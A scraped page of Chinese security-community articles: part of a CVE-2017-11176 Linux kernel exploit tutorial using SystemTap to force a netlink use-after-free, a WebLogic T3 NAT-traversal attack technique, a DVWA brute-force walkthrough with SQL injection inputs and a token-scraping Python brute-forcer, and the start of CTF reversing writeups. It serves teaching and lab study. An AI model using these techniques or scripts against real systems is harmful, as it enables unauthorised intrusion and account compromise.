if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);
__set_current_state(TASK_RUNNING);
remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1; // <---- the only way
}
skb_set_owner_r(skb, sk);
return 0;
}
让 _netlink_attachskb()_ 返回“1”需要我们首先满足条件[0]：
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
是时候释放System
Tap的真正力量并进入:Guru模式！Guru模式可以编写由探针调用的嵌入“C”代码。就像直接编写将在运行时注入的内核代码，就像Linux内核模块(LKM)一样。因此，这里的任何编程错误都会导致内核崩溃！您现在是内核开发人员:-)。
这里要做的是修改 _struct sock "sk"_ 和/或 _struct netlink_sock "nlk"_
数据结构，让条件成真。但是，在执行此操作之前，让我们获取一些有关当前 _struct sock_ **sk** 状态的有用信息。
修改 _netlink_attachskb()_ 探针并添加一些"嵌入"C代码（“％{”和“％}”部分）。
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
%}
function dump_netlink_sock:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
_stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
_stp_printf("- sk = %p\n", sk);
_stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
_stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
_stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);
_stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));
_stp_printf("-={ dump_netlink_sock: END}=-\n");
%}
probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)
dump_netlink_sock($sk);
}
}
**WARNING** :同样，这里的代码在内核态下运行，任何错误都会导致内核崩溃。
使用 **-g** （即guru）修饰符运行system tap：
-={ CVE-2017-11176 Exploit }=- netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!
(19681-19681) [SYSCALL] ==>> mq_notify (-1, 0x7ffebaa7e720)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> skb_put (skb=0xffff88003d1e05c0 len=0x20)
(19681-19681) [skb] <<== skb_put = ffff88000a0a2200
(19681-19681) [vfs] ==>> fget (fd=0x3)
(19681-19681) [vfs] <<== fget = ffff88003d0d5680
(19681-19681) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d0d5680)
(19681-19681) [netlink] <<== netlink_getsockbyfilp = ffff880036256800
(19681-19681) [netlink] ==>> netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 timeo=0xffff88003df5bf40 ssk=0x0)
-={ dump_netlink_sock: 0xffff880036256800 }=- - sk = 0xffff880036256800
- sk->sk_rmem_alloc = 0 // <----- - sk->sk_rcvbuf = 133120 // <----- - sk->sk_refcnt = 2
- nlk->state = 0 // <----- -={ dump_netlink_sock: END}=-
(19681-19681) [netlink] <<== netlink_attachskb = 0
(19681-19681) [vfs] ==>> fget (fd=0xffffffff)
(19681-19681) [vfs] <<== fget = 0
(19681-19681) [netlink] ==>> netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)
(19681-19681) [netlink] <<== netlink_detachskb
(19681-19681) [SYSCALL] <<== mq_notify= -9
dump_netlink_sock()函数在进入netlink_attachskb()时被调用。我们可以看到，nlk->state的第一个比特位未设置，sk_rmem_alloc小于sk_rcvbuf
...所以我们并没有满足条件。
在调用netlink_attachskb()之前,修改nlk->state：
function dump_netlink_sock:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
_stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
_stp_printf("- sk = %p\n", sk);
_stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
_stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
_stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);
_stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
nlk->state |= 1; // <----- _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));
_stp_printf("-={ dump_netlink_sock: END}=-\n");
%}
再次运行：
-={ CVE-2017-11176 Exploit }=- netlink socket created = 3
<<< HIT CTRL-C HERE >>>
^Cmake: *** [check] Interrupt
(20002-20002) [SYSCALL] ==>> mq_notify (-1, 0x7ffc48bed2c0)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> skb_put (skb=0xffff88003d3a6080 len=0x20)
(20002-20002) [skb] <<== skb_put = ffff88002e142600
(20002-20002) [vfs] ==>> fget (fd=0x3)
(20002-20002) [vfs] <<== fget = ffff88003ddd8380
(20002-20002) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003ddd8380)
(20002-20002) [netlink] <<== netlink_getsockbyfilp = ffff88003dde0400
(20002-20002) [netlink] ==>> netlink_attachskb (sk=0xffff88003dde0400 skb=0xffff88003d3a6080 timeo=0xffff88002e233f40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003dde0400 }=- - sk = 0xffff88003dde0400
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
-={ dump_netlink_sock: END}=-
<<< HIT CTRL-C HERE >>>
(20002-20002) [netlink] <<== netlink_attachskb = fffffffffffffe00 // <----- (20002-20002) [SYSCALL] <<== mq_notify= -512
Woops！阻塞在了mq_notify()调用中（即主要的exp进程卡在内核空间中，在系统调用内部）。幸运的是，我们可以使用CTRL-C来恢复控制。
注意，这一次netlink_attachskb()返回0xfffffffffffffe00，即“-ERESTARTSYS”。换句话说，我们进入了这条代码路径：
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo); // <---- return -ERESTARTSYS
}
这意味着我们实际上到达了netlink_attachskb()的另一条路径，任务成功！
## 避免阻塞
_mq_notify()_ 被阻塞的原因是：
__set_current_state(TASK_INTERRUPTIBLE);
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);
__set_current_state(TASK_RUNNING);
稍后我们将更加深入 _调度_ 的细节部分（参见第2部分），但现在只要知道我们的进程将阻塞直到满足特殊条件（都是关于等待队列）。
也许我们可以避免被调度/阻塞？为此，我们需要避免调用schedule_timeout()。让我们将sk标记为“SOCK_DEAD”（条件的最后一部分）。也就是说，改变“sk”内容（就像我们之前做的那样），使得以下函数sock_flag()返回真：
// from [include/net/sock.h]
static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
{
return test_bit(flag, &sk->sk_flags);
}
enum sock_flags {
SOCK_DEAD, // <---- this has to be '0', but we can check it with stap!
... cut ...
}
再次修改探针：
// mark it congested!
_stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
nlk->state |= 1;
_stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));
// mark it DEAD
_stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
_stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);
sk->sk_flags |= (1 << SOCK_DEAD);
_stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
重新运行......boom！exp主进程阻塞在了内核的无限循环中。原因是：
* 它进入netlink_attachskb()函数并执行retry路径（先前设置的）
* 线程没有被调度（被绕过了）
* netlink_attachskb()返回1
* 回到mq_notify()，执行“goto retry”语句
* fget()返回一个非null值...
* ...netlink_getsockbyfilp()返回无误
* 接着再次进入netlink_attachskb（） ...
* ...死循环...
因此，有效地绕过了阻塞我们的schedule_timeout()，但是产生了死循环。
## 避免死循环
继续改进探针，使fget()在第二次调用时失败！一种方法是直接从FDT中删除该文件描述符（设置为NULL）：
%{
#include <linux/fdtable.h>
%}
function remove_fd3_from_fdt:long (arg_unused:long)
%{
_stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL;
%}
probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)
dump_netlink_sock($sk); // it also marks the socket as DEAD and CONGESTED
remove_fd3_from_fdt(0);
}
}
-={ CVE-2017-11176 Exploit }=- netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!
(3095-3095) [SYSCALL] ==>> mq_notify (-1, 0x7ffe5e528760)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> skb_put (skb=0xffff88003f02cd00 len=0x20)
(3095-3095) [skb] <<== skb_put = ffff88003144ac00
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = ffff880031475480
(3095-3095) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff880031475480)
(3095-3095) [netlink] <<== netlink_getsockbyfilp = ffff88003cf56800
(3095-3095) [netlink] ==>> netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 timeo=0xffff88002d79ff40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003cf56800 }=- - sk = 0xffff88003cf56800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=- !!>>> REMOVING FD=3 FROM FDT <<<!!
(3095-3095) [netlink] <<== netlink_attachskb = 1 // <----- (3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = 0 // <----- (3095-3095) [netlink] ==>> netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)
(3095-3095) [netlink] <<== netlink_detachskb
(3095-3095) [SYSCALL] <<== mq_notify= -9
很好，内核跳出了人为制造的死循环。越来越接近攻击场景：
* netlink_attachskb()返回1
* 第二次fget()调用返回NULL
那么......我们是否触发了这个错误？
## 检查引用计数值
因为一切都按照我们的计划进行，所以漏洞应该被触发了并且 _sock_ 的引用计数应该减少了两次。检查一下。
在函数返回时无法获得调用函数的参数。这意味着无法在netlink_attachskb()返回时检查 _sock_ 的内容。
一种方法是将 _netlink_getsockbyfilp()_ 返回的 _sock_ 指针存储在全局变量中（脚本中的 _sock_ptr_
）。然后通过我们嵌入的“C”代码（dump_netlink_sock()）输出其内容：
global sock_ptr = 0; // <------ declared globally!
probe syscall.mq_notify.return
{
if (execname() == "exploit")
{
if (sock_ptr != 0) // <----- watch your NULL-deref, this is kernel-land!
{
dump_netlink_sock(sock_ptr);
sock_ptr = 0;
}
printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)
}
}
probe kernel.function ("netlink_getsockbyfilp").return
{
if (execname() == "exploit")
{
printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)
sock_ptr = $return; // <----- store it
}
}
再次运行
(3391-3391) [SYSCALL] ==>> mq_notify (-1, 0x7ffe8f78c840)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> skb_put (skb=0xffff88003d20cd00 len=0x20)
(3391-3391) [skb] <<== skb_put = ffff88003df9dc00
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = ffff88003d84ed80
(3391-3391) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d84ed80)
(3391-3391) [netlink] <<== netlink_getsockbyfilp = ffff88002d72d800
(3391-3391) [netlink] ==>> netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 timeo=0xffff8800317a7f40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88002d72d800 }=- - sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2 // <------------ - (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=- !!>>> REMOVING FD=3 FROM FDT <<<!!
(3391-3391) [netlink] <<== netlink_attachskb = 1
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = 0
(3391-3391) [netlink] ==>> netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)
(3391-3391) [netlink] <<== netlink_detachskb
-={ dump_netlink_sock: 0xffff88002d72d800 }=- - sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 0 // <------------- - (before) nlk->state = 1
- (after) nlk->state = 1
- sk->sk_flags = 101
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=- (3391-3391) [SYSCALL] <<== mq_notify= -9
可以看到， _sk- >sk_refcnt_已经减少了两次！成功触发了这个漏洞。
因为 _sock_ 的引用计数为零，这意味着 _struct netlink_sock_ 对象将会被释放。再添加一些其他探针：
... cut ...
(13560-13560) [netlink] <<== netlink_attachskb = 1
(13560-13560) [vfs] ==>> fget (fd=0x3)
(13560-13560) [vfs] <<== fget = 0
(13560-13560) [netlink] ==>> netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)
(13560-13560) [kmem] ==>> kfree (objp=0xffff880033fd0000)
(13560-13560) [kmem] <<== kfree =
(13560-13560) [sk] ==>> sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [sk] ==>> __sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [kmem] ==>> kfree (objp=0xffff88002d7e5c00) // <---- freeing "sock"
(13560-13560) [kmem] <<== kfree =
(13560-13560) [sk] <<== __sk_free =
(13560-13560) [sk] <<== sk_free =
(13560-13560) [netlink] <<== netlink_detachskb
_sock_ 对象已经被释放，但我们没有看到任何释放后重用崩溃...
## 为什么没有崩溃
与我们一开始的打算不同， _netlink_sock_ 对象由 _netlink_detachskb()_ 释放。原因是我们 **没有调用close()**
（只将FDT置为NULL）。也就是说，文件对象实际上没有被释放，因此，它并没有删除对 _netlink_sock_ 的引用。也就是说，少了一次引用计数递减。
但没关系，我们在这里想验证的是，引用计数减少了两次（一次是 _netlink_attachskb()_ ，另一次是
_netlink_detachskb()_ ）。
在正常的操作过程中（调用close()），引用计数将会额外减一并且在 _netlink_detachskb()_
中将会UAF。为了获得更好的控制，UAF发生的时期将会被延后（参见第2部分）。
## 最终System Tap脚本
最后，从内核空间触发漏洞的整个system tap脚本可以简化为：
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}
function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
force_trigger($sk);
}
} | 社区文章 |
**作者：宽字节安全**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 简介
**环境：Weblogic 12.1.3**
实战中，大多数weblogic都部署在内网环境中，通过Nat协议使处于外网的用户访问。对于正常用户访问来说没有问题，对于攻击者使用T3协议回显或者攻击，则会出现很大问题，会提示如下
对于该问题，网上的解释如下
解决方案是启动weblogic时，添加一个参数`-Dweblogic.rjvm.enableprotocolswitch=true`。但是我们不可能奢求被攻击者开启这个参数，所以我们就需要通过其他方式去解决这个问题。
下图错误堆栈
我们可以看出，需要想办法修改t3发送的内容，将其中的公网地址和端口换为weblogic内网地址与端口。由此，延申出两个问题
1. 如何修改发送内容
2. 如何根据weblogic的公网地址与端口，得到weblogic的内网地址与端口
### 1\. 如何修改发送的协议内容
还是上图，在`WLInitialContextFactoryDelegate`中，调用`var10.FindOrCreateRJVM`。最终会调用`weblogic.rjvm.ConnectionManager.bootstrap`，根据提供的公网url与port去创建一个JVMID。如图：
随后会调用`weblogic.rjvm.ConnectionManager.findOrCreateConnection`。 这里与发包的函数主要如下：
首先根据连接字符串，向待连接的`weblogic`服务器发送t3握手报文，返回一个`MsgAbbrevJVMConnection`类。
随后调用`this.createIdentifyMsg`去生成t3协议报文，然后调用`MsgAbbrevJVMConnection.sendMsg`将协议内容通过t3协议发送给weblogic服务器。`weblogic.rjvm.ConnectionManager.createIdentifyMsg`的函数如下图
我们从这里可以看出，会将`JVMID var1`的值，作为t3协议的header。
我们继续回到`ConnectionManager`函数中，然后调用`MsgAbbrevJVMConnection.sendMsg`函数，最终发送断点截图如下
所以，如果想解决T3穿透nat，我们只需要魔改`JVMID`的`hostAddres`s与`dnsName`以及一切与地址有关的东西，还有ports的值即可完成Nat内网穿透的任务。
最简单的办法，魔改JVMID即可。我们可以本地创建一个`JVMID`，修改里面的逻辑。
如图所示
修改之后，重新执行一下，完美执行命令
### 2\. 获取weblogic内网地址与端口
这里我们需要回顾iiop协议穿透内网的知识。iiop在创建context的时候，会根据服务端返回的内网地址与端口，创建context。随后通过context与weblogic交互时，会直接连接context中的内网地址。
在途中我们可以很明显的看出，iiop协议会直接连接内网IP与端口，所以会爆出timeout错误。
在这里，我们可以通过iiop创建与服务器的连接，然后获取其中的内网ip与port，如图
自动获取weblogic内网地址与端口的任务至此成功完成
* * * | 社区文章 |
# 1.Brute Force
## 1.Brute Force(Low)
相关的代码分析
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
可以看到，服务器只是通过 isset( $_GET[ 'Login' ]) 来判断
参数Login是否被设置（isset函数在php中用来检测变量是否设置，该函数返回的是布尔类型的值，即true/false），没有任何的防爆破机制，且对参数username、password没有做任何过滤，存在明显的sql注入漏洞。
第一种方法，用burp的intruder模块爆破
加标识符
设置payload
设置线程，并开始爆破
查看返回信息中，长度不同的，再看返回状态，爆破成功，账号：admin 密码：password
第二种方法，使用SQL注入
账号输入admin'发现报错
在用户名处注入语句，密码处为空
admin' or '1'='1或者admin' #
## 2.Brute Force(Medium)
相关的代码分析
相比Low级别的代码，Medium级别的代码主要增加了mysql_real_escape_string函数，这个函数会对字符串中的特殊符号（x00，n，r，，’，”，x1a）进行转义，基本上能够抵御sql注入攻击，说基本上是因为查到说
MySQL5.5.37以下版本如果设置编码为GBK，能够构造编码绕过mysql_real_escape_string
对单引号的转义（因实验环境的MySQL版本较新，所以并未做相应验证）；同时，$pass做了MD5校验，杜绝了通过参数password进行sql注入的可能性。但是，依然没有加入有效的防爆破机制（登录错误的sleep(2)实在算不上）。
虽然sql注入不再有效，但依然可以使用Burpsuite进行爆破，与Low级别的爆破方法基本一样，这里就不赘述了。
## 3.Brute Force(High)
相关代码分析
High级别的代码加入了Token，可以抵御CSRF攻击，同时也增加了爆破的难度，通过抓包，可以看到，登录验证时提交了四个参数：username、password、Login以及user_token。
每次次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。
同时，High级别的代码中，使用了stripslashes（去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个）、
mysql_real_escape_string对参数username、password进行过滤、转义，进一步抵御sql注入。
第一种方法，由于加入了Anti-CSRFtoken预防无脑爆破，存在user_token时的登录流程为:
简单用python写个脚本。
下面的脚本（python 3.7），用户名为admin，对password参数进行爆破并打印结果，仅供各位参考。
# !/usr/bin/env python
# -*- coding: utf-8 -*- # @File : brute_force.py
# @Author: ShenHao
# @Contact : [email protected]
# @Date : 20-2-4下午4:26
# @Desc : 脚本爆破带token的web网站
from bs4 import BeautifulSoup
import requests
header = {
'Host': '43.247.91.228:81',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://43.247.91.228:81/vulnerabilities/brute/index.php',
'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
login_header = {
'Host': '43.247.91.228:81',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
url = "http://43.247.91.228:81/vulnerabilities/brute/index.php"
login_url = r'http://43.247.91.228:81/login.php'
# 获取主界面的token
def get_login_token(requrl, header):
response = requests.get(url=requrl, headers=header)
data = response.text
# print('\t', len(data))
soup = BeautifulSoup(data, "html.parser")
user_token = soup.select('form[action] > input[name]')[0].get('value') # get the user_token
return user_token
# 获取爆破界面的token
def get_target_token(requrl, header):
response = requests.get(url=requrl, headers=header)
data = response.text
print('\t', len(data))
# print(data)
soup = BeautifulSoup(data, "html.parser")
# user_token = soup.select('form[action] > input[type]') # get the user_token
user_token = soup.find_all('input')[3].get('value') # get the user_token
# print(user_token)
return user_token
# 先登录主界面
login_token = get_login_token(login_url, login_header)
requests.post(url=login_url,
headers=login_header,
data={'username': 'admin', 'password': 'password', 'Login': 'Login', 'user_token': login_token})
# 进入目标界面
user_token = get_target_token(url, header)
i = 0
for line in open("password.txt"):
requrl = "http://43.247.91.228:81/vulnerabilities/brute/index.php" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
print(i, '\tadmin\t', line.strip(), end='\t')
user_token = get_target_token(requrl, header)
i += 1
print('Task Done!')
对比结果看到，密码为password时返回的长度不太一样，手工验证，登录成功，爆破完成。
第二种方法，用burp爆破，具体设置如下：
选择pitchfork进行爆破，添加密码和token变量
因为token值是单次传递的，所以线程数改为1
在GREP-Extract中获取响应包，从中提取参数。选中token值，这个时候工具会自动编辑规则，复制token值备用。点击ok。
在页面最底部找到always选项
回到payloads模块，正常添加第一个变量密码的字典
第二个变量选择递归搜索(Recursive grep)
查看返回信息中，长度不同的，再看返回状态，爆破成功，账号：admin 密码：password
## 4.Brute Force(Impossible)
相关的代码分析
可以看到Impossible级别的代码加入了可靠的防爆破机制，当检测到频繁的错误登录后，系统会将账户锁定，爆破也就无法继续。
同时采用了更为安全的PDO（PHP Data
Object）机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 羊城杯逆向Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## BabySmc
自解码，解密后代码虽然很多但从移位、密文及下面这个结构可以看出是base64编码：
细看一下他的加密过程，正常bases64的移位，但码表换了和最后多了一个异或。
所以解密的话就是先异或再提取出index，最后按照移位还原一下：
a = [0xE4, 0xC4, 0xE7, 0xC7, 0xE6, 0xC6, 0xE1, 0xC1, 0xE0, 0xC0, 0xE3, 0xC3, 0xE2, 0xC2, 0xED, 0xCD, 0xEC, 0xCC, 0xEF, 0xCF, 0xEE, 0xCE, 0xE9, 0xC9, 0xE8, 0xC8, 0xEB, 0xCB, 0xEA, 0xCA, 0xF5, 0xD5, 0xF4, 0xD4, 0xF7, 0xD7, 0xF6, 0xD6, 0xF1, 0xD1, 0xF0, 0xD0, 0xF3, 0xD3, 0xF2, 0xD2, 0xFD, 0xDD, 0xFC, 0xDC, 0xFF, 0xDF, 0x95, 0x9C, 0x9D, 0x92, 0x93, 0x90, 0x91, 0x96, 0x97, 0x94, 0x8A, 0x8E]
enc = "H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<Q"
ans = []
enc = list(enc.encode())
for i in range(0, len(enc), 4):
ans += [a.index(enc[i]^0xa6)]
ans += [a.index(enc[i+1]^0xa3)]
ans += [a.index(enc[i+2]^0xa9)]
ans += [a.index(enc[i+3]^0xac)]
ans = ''.join(['{:0>6}'.format(bin(i)[2:]) for i in ans])
flag = ''
for i in range(len(ans)//8):
flag += chr(int(ans[8*i:8*(i+1)], 2))
print(flag)
## Babyvm
开始简单调试了跟了一下，发现前面都是异或加密但后面有一部分加密有点复杂，跟起来会麻烦。
所以提取出vm部分代码，然后在编译器中修改编译一下这部分代码。
一是让程序直接打印出前面单字节异或加密对应的明文，二是打印出后面一部分的加密逻辑：
#include <stdio.h>
int dword_804B080[] = {0x7B, 0x2F, 0x37, 0x0E8};
char s[] = "********************************************";
int dword_804B060 = 0x0CF1304DC;
int dword_804B064 = 0x283B8E84;
char flag[100];
int cnt, count;
unsigned int sub_80487A8(unsigned int *a1)
{
unsigned char *v2; // [esp+18h] [ebp-20h]
//printf("%x\n", *(unsigned char *)a1[8] == 0xa1);
//return 0;
while ( 1 )
{
if ( *(unsigned char *)a1[8] == 113 )
{
printf("*******************\n");
a1[6] -= 4;
*(unsigned int *)a1[6] = *(unsigned int *)(a1[8] + 1);
a1[8] += 5;
}
if ( *(unsigned char *)a1[8] == 65 )
{
printf("%x += %x\n", a1[1], a1[2]);
a1[1] += a1[2];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 66 )
{
printf("%x -= %x\n", a1[1], a1[4]);
a1[1] -= a1[4];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 67 )
{
printf("%x *= %x\n", a1[1], a1[3]);
a1[1] *= a1[3];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 55 )
{
printf("a1[1] = %x\n", a1[5]);
a1[1] = a1[5];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 56 )
{
printf("a1[1]_%x ^= %x\n", a1[1], a1[4]);
a1[1] ^= a1[4];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 57 )
{
printf("a1[1]_%x ^= %x\n", a1[1], a1[5]);
a1[1] ^= a1[5];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 53 )
{
printf("a1[5] = %x\n", a1[1]);
a1[5] = a1[1];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0xF7 )
{
printf("a1[9]_%x += %x\n", a1[9], a1[1]);
a1[9] += a1[1];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 68 )
{
printf("a1[1]_%x /= %x\n", a1[1], a1[5]);
a1[1] /= a1[5];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0x80 )
{
a1[*(unsigned char *)(a1[8]+1)] = *(unsigned int *)(a1[8] + 2);
a1[8] += 6;
printf("%x\n", *(unsigned char *)(a1[8]));
}
if ( *(unsigned char *)a1[8] == 119 )
{
printf("a1[1]_%x ^= %x\n", a1[1], a1[9]);
a1[1] ^= a1[9];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 83 )
{
putchar(*(unsigned char *)a1[3]);
a1[8] += 2;
}
if ( *(unsigned char *)a1[8] == 34 )
{
printf("a1[1]_%x >>= %x\n", a1[1], a1[2]);
a1[1] >>= a1[2];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 35 )
{
printf("a1[1]_%x <= %x\n", a1[1], a1[2]);
a1[1] <<= a1[2];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 0x99 )
break;
if ( *(unsigned char *)a1[8] == 118 )
{
printf("??????????????????\n");
a1[3] = *(unsigned int *)a1[6];
*(unsigned int *)a1[6] = 0;
a1[6] += 4;
a1[8] += 5;
}
if ( *(unsigned char *)a1[8] == 84 )
{
printf("getchar()\n ------------------");
v2 = (unsigned char *)a1[3];
*v2 = getchar();
a1[8] += 2;
}
if ( *(unsigned char *)a1[8] == 48 )
{
printf("?????????????????????????????????????????????????\n");
a1[1] |= a1[2];
++a1[8];
}
if ( *(unsigned char *)a1[8] == 49 )
{
printf("a1[1]_%x &= %x\n", a1[1], a1[2]);
